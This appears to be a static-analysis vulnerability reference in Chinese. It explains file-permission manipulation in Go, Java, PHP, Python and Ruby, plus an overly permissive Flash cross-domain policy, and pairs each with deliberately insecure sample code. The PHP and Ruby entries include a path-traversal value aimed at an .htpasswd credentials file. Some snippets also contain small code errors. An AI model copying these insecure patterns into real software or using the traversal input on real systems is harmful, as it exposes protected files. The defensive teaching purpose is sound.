118 找到的項目
弱點
Abstract
允許使用者輸入直接修改檔案權限,可能會使攻擊者能夠存取原本應受保護的系統資源。
Explanation
當遇到下列狀況時會發生檔案權限操作錯誤:

1.攻擊者可指定在檔案系統上修改權限的操作中所使用的路徑。

2.攻擊者可指定檔案系統上的作業所指派的權限。

範例 1:下列程式碼使用來自系統環境變數的輸入設定檔案權限。如果攻擊者能夠修改系統環境變數,就能使用程式取得程式所操縱檔案的存取權。如果程式也存在 Path Manipulation 弱點,則攻擊者可能會使用這個弱點存取系統上的任意檔案。


permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.file_permission_manipulation
Abstract
允許使用者輸入直接修改檔案權限,可能使攻擊者能夠存取其他受保護的系統資源。
Explanation
當遇到下列狀況時會發生檔案權限操作錯誤:

1.攻擊者能夠指定在檔案系統上修改權限的作業中所使用的路徑。

2.攻擊者能夠指定檔案系統上的作業所指派的權限。

範例 1:以下程式碼使用來自系統屬性的輸入,設定預設權限遮罩。如果攻擊者能夠修改系統屬性,就能使用程式取得程式所操縱檔案的存取權。如果程式也存在 Path Manipulation 弱點,則攻擊者可能會使用這個弱點存取系統上的任意檔案。


String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
References
[1] FIO01-J. Create files with appropriate access permissions CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.file_permission_manipulation
Abstract
允許使用者輸入直接修改檔案權限,可能使攻擊者能夠存取其他受保護的系統資源。
Explanation
當遇到下列狀況時會發生檔案權限操作錯誤:

1.攻擊者能夠指定在檔案系統上修改權限的作業中所使用的路徑。

2.攻擊者能夠指定檔案系統上的作業所指派的權限。

範例:以下程式碼旨在當使用者透過 FTP 上傳網頁時,設定適當的檔案權限。程式使用來自 HTTP 要求的輸入,以將檔案標示為外部使用者可檢視的狀態。


$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...


然而,如果攻擊者提供一個惡意的值給 publicReport,如「../../localuser/public_html/.htpasswd」,應用程式會指定攻擊者可讀取那個檔案。

範例 2:以下程式碼使用組態設定檔案的輸入設定預設權限遮罩。如果攻擊者能修改組態設定檔案,就能使用程式取得程式所操縱檔案的存取權。如果程式也存在 Path Manipulation 弱點,則攻擊者可能會使用這個弱點存取系統上的任意檔案。


...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.file_permission_manipulation
Abstract
允許使用者輸入直接修改檔案權限,可能使攻擊者能夠存取其他受保護的系統資源。
Explanation
當遇到下列狀況時會發生檔案權限操作錯誤:

1. 攻擊者能夠指定在檔案系統上修改權限的作業中所使用的路徑。

2. 攻擊者能夠指定檔案系統上的作業所指派的權限。

範例 1: 下列程式碼使用來自系統環境變數的輸入設定檔案權限。 如果攻擊者能夠修改系統環境變數,就能使用程式取得程式所操縱檔案的存取權。 如果程式也存在 Path Manipulation 弱點,則攻擊者可能會使用這個弱點存取系統上的任意檔案。


permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.file_permission_manipulation
Abstract
允許使用者輸入直接修改檔案權限,可能使攻擊者能夠存取其他受保護的系統資源。
Explanation
當遇到下列狀況時會發生檔案權限操作錯誤:

1. 攻擊者能夠指定在檔案系統上修改權限的作業中所使用的路徑。

2. 攻擊者能夠指定檔案系統上的作業所指派的權限。

範例:以下程式碼旨在當使用者透過 FTP 上傳網頁時,設定適當的檔案權限。程式使用來自 HTTP 要求的輸入,以將檔案標示為外部使用者可檢視的狀態。


...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...


然而,如果攻擊者提供一個惡意的值給 publicReport,如「../../localuser/public_html/.htpasswd」,應用程式會指定攻擊者可讀取那個檔案。

範例 2:以下程式碼使用組態設定檔案的輸入設定預設權限遮罩。如果攻擊者可以更改組態設定檔案,就可能使用程式取得程式所操縱檔案的存取權。如果程式也存在 Path Manipulation 弱點,則攻擊者可能會使用這個弱點存取系統上的任意檔案。


...
mask = config_params['perms']
File.chmod(filename, mask)
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.file_permission_manipulation
Abstract
程式會定義過度許可的跨網域策略。
Explanation
依預設,Flash 應用程式需遵守相同來源策略 (Same Origin Policy),它可以確保只有在兩個 SWF 應用程式都來自相同網域時,才可以存取彼此的資料。Adobe Flash 允許開發人員在程式上或透過 crossdomain.xml 組態設定檔案的適當設定來修改策略。但是,變更設定時應特別小心,因為過度允許的跨網域策略會允許惡意應用程式以不適當的方式與受害者應用程式通訊,導致欺騙、資料遭竊取、傳遞和其他攻擊。

範例 1:以下內容是使用萬用字元在程式上指定允許應用程式與哪些網域通訊的範例。


flash.system.Security.allowDomain("*");


使用 * 做為給 allowDomain() 的引數,表示應用程式的資料可以讓其他來自任何網域的 SWF 應用程式存取。
References
